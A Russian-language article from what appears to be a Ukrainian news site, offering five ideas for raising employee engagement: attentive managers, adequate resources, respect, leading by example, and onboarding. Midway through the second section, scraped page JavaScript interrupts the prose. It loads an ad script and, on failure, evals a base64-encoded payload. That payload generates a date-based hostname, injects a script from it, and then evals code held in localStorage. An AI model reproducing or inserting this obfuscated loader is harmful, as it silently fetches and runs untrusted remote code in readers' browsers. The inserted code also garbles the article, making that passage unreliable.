Вовлеченность сотрудников — важная часть успешного бизнеса. Мотивированные и вовлеченные работники более продуктивны и гораздо реже прогуливают работу. Следующие идеи помогут заинтересовать персонал и создать условия труда, способствующие лучшему вовлечению.
1. Все начинается с хороших менеджеров
Эффективные руководители уделяют пристальное внимание тому, что говорят работники. Крайне важно быть открытым для связи и регулярно общаться с командой. Это одна из причин, по которой ежегодные опросы сотрудников все чаще заменяются или дополняются ежеквартальными или ежемесячными, а обсуждение показателей эффективности происходит все чаще.
Общение не только помогает организации выявлять и быстро решать проблемы, но и заставляет людей чувствовать, что их ценят. Счастливые сотрудники гораздо лучше вовлечены, чем недовольный персонал, задумывающийся о смене работы.
2. Позаботьтесь о необходимых ресурсах
Один из самых важных факторов вовлеченности сотрудников может также быть одним из самых недооцененных: у сотрудников должны быть все инструменты, необходимые для работы. В отчете Deloitte Global Human Capital Trends 2016 это называется предоставлением «поддерживающей инфраструктуры» и указывается в качестве основного фактора вовлечения.
Инфраструктура компании включает в себя инструменты и процессы, которые люди используют для достижения целей, а также имеющиеся в распоряжении организационные возможности.
К необходимым ресурсам относятся и современные технологии, позволяющие упростить рутинные задачи. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
3. Демонстрируйте уважение
Уважение — необходимое условие для комфортной работы в любом коллективе. Если вы хотите вовлечь сотрудников, не забывайте об этом. Уважение тесно связано с доверием. Менеджеры могут заслужить доверие, сосредоточившись на том, что важнее всего для команды. Служение другим, создание чувства общности, упор на командную работу, разделение власти — все это способы показать, что люди важны для вас. Эта модель поведения укрепляет позитивную атмосферу действиями, а не словами.
Люди чувствуют себя более ценными, когда компания заботится о сотрудниках. На уровне руководства поощряйте эффективных менеджеров и убедитесь, что лидеры знают, чего от них ожидают. Предлагайте сотрудникам вознаграждение, мероприятия и льготы, которые помогут им улучшить свое физическое, эмоциональное, финансовое благополучие. Цените своих сотрудников и относитесь к ним справедливо, отмечая хорошо выполненную работу и поощряя их к достижению новых целей.
4. Подавайте пример
Развивайте культуру поддержки, которая объединяет благополучие и вовлеченность на рабочем месте. Помните, что лидер тоже играет важную роль. Выделите время, чтобы поделиться своими целями и приоритетами в области корпоративной культуры с вашими сотрудниками. Будьте отзывчивы и открыты, выслушивайте каждого. Таким поведением вы мотивируете персонал, и атмосфера в коллективе улучшится. С поддержкой коллег счастливому сотруднику будет проще почувствовать вовлеченность в общее дело.
5. Начинайте с первого дня
Подумайте о вовлеченности сотрудников заранее. Вместо того чтобы заваливать новичков бюрократическими задачами, постарайтесь использовать их интерес к новой работе и мотивировать еще больше. Предоставьте наставника, который поможет адаптироваться. Познакомьте с командой, чтобы помочь новичкам почувствовать себя желанным и важным участником организации. А если вам нужны IT-специалисты, которые станут ядром команды, Indigo Tech Recruiters предлагает выгодный прайс на рекрутинговые услуги.
Эти идеи помогут вовлечь сотрудников в общее дело. Любая из них приведет к позитивным изменениям в атмосфере. Вознаграждением за работу над вовлеченностью станет возросшая эффективность работы. (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/retsept-vovlechennosti-personala-5-prostyh-idej/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
